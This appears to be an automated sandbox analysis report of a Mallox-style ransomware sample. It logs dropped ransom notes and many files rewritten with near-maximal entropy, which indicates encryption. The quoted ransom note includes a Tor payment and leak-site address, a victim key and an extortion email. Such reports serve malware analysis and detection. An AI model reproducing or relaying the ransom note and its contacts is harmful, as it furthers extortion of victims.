Source: C:\Users\user\Desktop\malware.exe	File dropped: C:\Users\Public\Pictures\FILE RECOVERY.txt -> decryption toolfollow the instructions to decrypt all your datado not try to change or restore files yourself, this will break themif you want, on our site you can decrypt one file for free. free test decryption allowed only for not valuable file with size less than 3mbhow to get decryption tool:1) download and install tor browser by this link: https://www.torproject.org/download/2) if tor blocked in your country and you can't access to the link then use any vpn software3) run tor browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privatesignin4) copy your private id in the input field. your private key: d867aabcb6cf90e0977868505) you will see payment information and we can make free test decryption hereour blog of leaked companies:wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onionif you are unable to contact us through the site, then you can email us: mallox.resurrection@onionmail.orgwaiting for a response via mail ca	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File dropped: C:\Users\user\AppData\Local\Packages\Microsoft.VCLibs.140.00.UWPDesktop_8wekyb3d8bbwe\AC\INetHistory\FILE RECOVERY.txt -> decryption toolfollow the instructions to decrypt all your datado not try to change or restore files yourself, this will break themif you want, on our site you can decrypt one file for free. free test decryption allowed only for not valuable file with size less than 3mbhow to get decryption tool:1) download and install tor browser by this link: https://www.torproject.org/download/2) if tor blocked in your country and you can't access to the link then use any vpn software3) run tor browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privatesignin4) copy your private id in the input field. your private key: d867aabcb6cf90e0977868505) you will see payment information and we can make free test decryption hereour blog of leaked companies:wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onionif you are unable to contact us through the site, then you can email us: mallox.resurrection@onionmail.orgwaiting for a response via mail ca	Jump to dropped file

Writes many files with high entropy

Source: C:\Users\user\Desktop\malware.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{97b27011-f8cc-4ac9-9531-d6ee8ce92324}\Settings.ft entropy: 7.9942666855	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{97b27011-f8cc-4ac9-9531-d6ee8ce92324}\0.0.filtertrie.intermediate.txt entropy: 7.99662349249	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{76cc83ea-ae96-47fc-9329-459e5ad2d67b}\0.0.filtertrie.intermediate.txt entropy: 7.99743778305	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\settingssynonyms.txt entropy: 7.99559027567	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\settingsconversions.txt entropy: 7.99684702187	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408906321630689.txt entropy: 7.99229047926	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408904996229952.txt entropy: 7.9911308916	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\SettingsCache.txt entropy: 7.99805173821	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ShellFeeds\IDX_CONTENT_TASKBARHEADLINES.json entropy: 7.99732880484	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133780452996319870.txt entropy: 7.99679453257	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133780452700603090.txt entropy: 7.99687220859	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408945536046333.txt entropy: 7.99611075941	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408908224609935.txt entropy: 7.99516216311	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408906620712704.txt entropy: 7.99152568717	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408907975188232.txt entropy: 7.99436930426	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\TempState\CortanaUnifiedTileModelCache.dat entropy: 7.99518484052	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Users\user\AppData\Local\Temp\18e190413af045db88dfbd29609eb877.db.session64 entropy: 7.99744588577	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Users\user\AppData\Local\Temp\18e190413af045db88dfbd29609eb877.db entropy: 7.99230996584	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Users\user\AppData\Local\Packages\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\LocalState\HxCommAlwaysOnLog_Old.etl entropy: 7.99752482988	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Users\user\AppData\Local\Packages\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\LocalState\HxCommAlwaysOnLog.etl entropy: 7.99711857944	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\StartUnifiedTileModelCache.dat entropy: 7.99569816742	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\Settings\settings.dat.LOG1 entropy: 7.99446144553	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt entropy: 7.9907077642	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Users\user\AppData\Local\Temp\DESKTOP-AGET0TR-20231004-0929a.log entropy: 7.99667564164	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Users\user\AppData\Local\Temp\DESKTOP-AGET0TR-20231003-1258c.log entropy: 7.99817165002	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Users\user\AppData\Local\Temp\DESKTOP-AGET0TR-20231003-1258.log entropy: 7.99623908834	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Users\user\AppData\Local\Temp\Diagnostics\EXCEL\App1696334775820156800_6EB929AF-656E-4F43-9731-EA7753E1F1BD.log entropy: 7.99237229386	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Users\user\AppData\Local\Temp\DESKTOP-AGET0TR-20231004-1157.log entropy: 7.99825906266	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Users\user\AppData\Local\Temp\DESKTOP-AGET0TR-20231004-1051a.log entropy: 7.99834020666	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Users\user\AppData\Local\Temp\DESKTOP-AGET0TR-20231004-1051.log entropy: 7.99033330195	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Users\user\AppData\Local\Temp\DESKTOP-AGET0TR-20231004-1000.log entropy: 7.99564745029	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Users\user\AppData\Local\Temp\prep_foundation_win32_bundle_V8_perf.cache entropy: 7.99755266274	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Users\user\AppData\Local\Temp\offline entropy: 7.99296635577	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Users\user\AppData\Local\Temp\msedge_installer.log entropy: 7.99236445597	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Users\user\AppData\Local\Temp\Diagnostics\EXCEL\App_1696413198165042300_AA3FCB9C-CF1A-4407-8A94-A7D6C220021F.log entropy: 7.99537480343	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Users\user\AppData\Local\Temp\Diagnostics\EXCEL\App1696417118050662300_8475A8C9-2447-4BC4-8E46-350AA0582B94.log entropy: 7.99372188059	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Users\user\AppData\Local\Temp\Diagnostics\EXCEL\App1696417072488237400_C12D9B44-3468-47BC-9418-BF0A674A2B2F.log entropy: 7.99642457986	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Users\user\AppData\Local\Temp\DESKTOP-AGET0TR-20231004-1153.log entropy: 7.99824701937	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Users\user\AppData\Local\Temp\Diagnostics\EXCEL\App1696334923056622400_BD966DD2-7850-423A-B1D8-7882CE1A6D15.log entropy: 7.99446378708	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Users\user\AppData\Local\Temp\Diagnostics\EXCEL\App1696417101742322600_290EFEE9-C25A-4857-9F32-D7E6D51B7C09.log entropy: 7.99704642396	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Users\user\AppData\Local\Temp\offline.session64 entropy: 7.99738559778	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Users\user\AppData\Local\Temp\prep_ui_win32_bundle_V8_perf.cache entropy: 7.99552341889	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Users\user\AppData\Local\Temp\prep_privacy-sdx_win32_bundle_js_V8_perf.cache entropy: 7.99649590386	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\ConvergedLogin_PCore_AI1nyU_u3YQ_at1fSBm4Uw2[1].js entropy: 7.99832932961	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\2[1] entropy: 7.99421885843	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\toptraffic[1] entropy: 7.99957322925	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\ConvergedLogin_PCore_tSc0Su-bb7Jt0QVuF6v9Cg2[1].js entropy: 7.99849679728	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\Converged_v22057_sKiljltKC1Ne_Y3fl1HuHQ2[1].css entropy: 7.99706142698	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\7-Zip\7zCon.sfx entropy: 7.99777932018	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\7-Zip\7-zip.chm entropy: 7.99839546856	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\7-Zip\7z.sfx entropy: 7.99663762013	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\PreSignInSettingsConfig[1].json entropy: 7.99725391521	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\oneDs_f2e0f4a029670f10d892[1].js entropy: 7.99648666148	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\ConvergedLoginPaginatedStrings.en-gb_BxKM4IRLudkIao5qoVhSFA2[1].js entropy: 7.99588212188	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\ConvergedLoginPaginatedStrings.en-gb_RP-iR89BipE4i7ZOqiqEgQ2[1].js entropy: 7.99510011488	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\2[1] entropy: 7.99782630692	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\Converged_v22057_4HqSCTf5FFStBMz0_eIqyA2[1].css entropy: 7.99147298346	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\7-Zip\History.txt entropy: 7.99717154496	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.097adb72-8dc9-4f20-a3ce-f53355ac0c6f.1.etl entropy: 7.997678084	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.03156670-ff72-4555-893a-7529a6b7b380.1.etl entropy: 7.99587609808	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\ProgramData\Microsoft\Windows Security Health\Logs\SHS-10042023-115204-7-7f-19041.1.amd64fre.vb_release.191206-1406.etl entropy: 7.99430868857	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\ProgramData\Microsoft\Windows Security Health\Logs\SHS-10042023-093652-7-7f-19041.1.amd64fre.vb_release.191206-1406.etl entropy: 7.99701595454	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\ProgramData\Microsoft\Windows Security Health\Logs\SHS-10042023-100200-7-7f-19041.1.amd64fre.vb_release.191206-1406.etl entropy: 7.99498041954	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.456c314c-694c-46de-be66-a081d0cb7df7.1.etl entropy: 7.99643670309	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.03b90911-d494-4396-b759-a499bbf9552e.1.etl entropy: 7.99671112697	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.58d76bcd-62a1-46af-b234-21d45b4c8ddb.1.etl entropy: 7.99626091158	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.10e221af-8b7b-49e1-82db-e9c28f0459bf.4.etl entropy: 7.99765462411	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.10e221af-8b7b-49e1-82db-e9c28f0459bf.5.etl entropy: 7.99765193917	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.10e221af-8b7b-49e1-82db-e9c28f0459bf.3.etl entropy: 7.9975262566	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.10e221af-8b7b-49e1-82db-e9c28f0459bf.2.etl entropy: 7.99751124058	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.10e221af-8b7b-49e1-82db-e9c28f0459bf.1.etl entropy: 7.99747970834	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.097adb72-8dc9-4f20-a3ce-f53355ac0c6f.2.etl entropy: 7.99336257624	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.12f4b0a3-2493-41b5-84db-21e2bcb53ca6.1.etl entropy: 7.99586906895	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.3252bd92-212a-43b9-b716-30271b7db485.1.etl entropy: 7.99779611986	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.599b8733-4301-4cc3-93ed-74bd979f66dd.3.etl entropy: 7.99761898625	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.5cf9101f-dc6a-47c8-a434-4cad9d63cff0.1.etl entropy: 7.99748824167	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.5cf9101f-dc6a-47c8-a434-4cad9d63cff0.2.etl entropy: 7.99779939113	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.599b8733-4301-4cc3-93ed-74bd979f66dd.4.etl entropy: 7.99776233303	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.599b8733-4301-4cc3-93ed-74bd979f66dd.2.etl entropy: 7.9976343961	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.599b8733-4301-4cc3-93ed-74bd979f66dd.1.etl entropy: 7.99769091193	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.27bed3f1-68c9-49d1-a722-3ebce1687afe.1.etl entropy: 7.99608457082	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.10e221af-8b7b-49e1-82db-e9c28f0459bf.6.etl entropy: 7.99457261902	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.6946adc3-5df1-4ad0-a3f3-2cd8906ea87d.1.etl entropy: 7.99804924651	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.5cf9101f-dc6a-47c8-a434-4cad9d63cff0.3.etl entropy: 7.99059210732	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.599b8733-4301-4cc3-93ed-74bd979f66dd.5.etl entropy: 7.99447216047	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.6d9d4a0e-ffd8-47af-9ba4-1a437149f527.1.etl entropy: 7.99795948824	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.69a57cbe-2a9e-4202-9484-4bfde9ed5d83.1.etl entropy: 7.99685176604	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.6946adc3-5df1-4ad0-a3f3-2cd8906ea87d.4.etl entropy: 7.99737710894	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.6946adc3-5df1-4ad0-a3f3-2cd8906ea87d.2.etl entropy: 7.99785453449	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.6946adc3-5df1-4ad0-a3f3-2cd8906ea87d.5.etl entropy: 7.99788197155	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.6946adc3-5df1-4ad0-a3f3-2cd8906ea87d.6.etl entropy: 7.99418907939	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.6946adc3-5df1-4ad0-a3f3-2cd8906ea87d.3.etl entropy: 7.99744746745	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.6d9d4a0e-ffd8-47af-9ba4-1a437149f527.4.etl entropy: 7.99778163708	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.6d9d4a0e-ffd8-47af-9ba4-1a437149f527.5.etl entropy: 7.99700710655	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.6d9d4a0e-ffd8-47af-9ba4-1a437149f527.2.etl entropy: 7.99724137725	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.6d9d4a0e-ffd8-47af-9ba4-1a437149f527.3.etl entropy: 7.99778656701	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.93db6b16-048f-491f-a82d-3646e2a89960.1.etl entropy: 7.99659488536	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.8b9a8cce-1a0e-422e-9d0f-0e651c215019.1.etl entropy: 7.99625556445	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.8485548a-2aef-4221-833c-c3035584658e.1.etl entropy: 7.9978080749	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.77f1869c-4161-4891-bcef-34ee379d1248.2.etl entropy: 7.99065064276	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.77f1869c-4161-4891-bcef-34ee379d1248.1.etl entropy: 7.99758536298	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.76c07319-aaea-47b0-8c40-094708538806.1.etl entropy: 7.99571330994	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.bb81c698-fe7d-4d30-9989-461753efddde.1.etl entropy: 7.99100259786	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.86e0a252-c2a0-43a1-a9eb-7a55532be78d.1.etl entropy: 7.99626374095	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.a0d81e20-2141-420e-9504-5087f6672953.1.etl entropy: 7.99630565985	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.99d47f55-28c7-42fb-b9ec-beaa25ab2fd1.1.etl entropy: 7.99607962306	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.fccafd48-faff-4ca8-9b17-c9732cf6617f.4.etl entropy: 7.99793449017	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.fccafd48-faff-4ca8-9b17-c9732cf6617f.3.etl entropy: 7.99743348121	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\ProgramData\USOShared\Logs\System\NotificationUxBroker.40e9bdc1-a29d-4b1a-a7d1-bb2a3737a6de.1.etl entropy: 7.99050057052	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.dd581e08-6d31-4ec0-90de-cdaed5f87060.1.etl entropy: 7.99624045289	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.fccafd48-faff-4ca8-9b17-c9732cf6617f.2.etl entropy: 7.99784713562	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.fccafd48-faff-4ca8-9b17-c9732cf6617f.1.etl entropy: 7.99782535664	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\ProgramData\USOShared\Logs\System\WuProvider.cd10c994-6e5b-4302-9bb7-4110b2d7c98b.1.etl entropy: 7.99136110806	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\ProgramData\USOShared\Logs\System\WuProvider.8b76dbfc-b232-4f54-8aad-d9196c0d5c6c.1.etl entropy: 7.99009368985	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst entropy: 7.99741976905	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Users\Default\NTUSER.DAT{53b39e88-18c4-11ea-a811-000d3aa4692b}.TM.blf entropy: 7.99695541837	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Users\Default\NTUSER.DAT.LOG2 entropy: 7.99058193781	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Users\Default\NTUSER.DAT.LOG1 entropy: 7.99715566202	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\7-Zip\Lang\gu.txt entropy: 7.99175482435	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\7-Zip\Lang\ka.txt entropy: 7.99154690875	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\7-Zip\Lang\si.txt entropy: 7.99069617611	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\7-Zip\Lang\mng2.txt entropy: 7.99115134039	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\7-Zip\Lang\mng.txt entropy: 7.99088951366	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\7-Zip\Lang\sa.txt entropy: 7.99042514077	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\chrome_100_percent.pak entropy: 7.99964591696	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\chrome_200_percent.pak entropy: 7.99977167932	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\COPYING.LGPLv2.1.txt entropy: 7.9929088449	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat.tlb entropy: 7.99686833831	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\1494870C-9912-C184-4CC9-B401-A53F4D8DE290.pdf entropy: 7.9990791007	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\DocTemplates\ENU\template2.pdf entropy: 7.99362124225	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\resources.pak entropy: 7.99854284158	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Click on 'Change' to select default PDF handler.pdf entropy: 7.99891997798	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Assets\ownership-hero-image-d.gif entropy: 7.9990932572	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\locales\en-US.pak entropy: 7.99608624821	Jump to dropped file
Source: C:\Users\user\Desktop\malware.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\COPYING.LGPLv2.1.txt entropy: 7.99312224478	Jump to dropped file
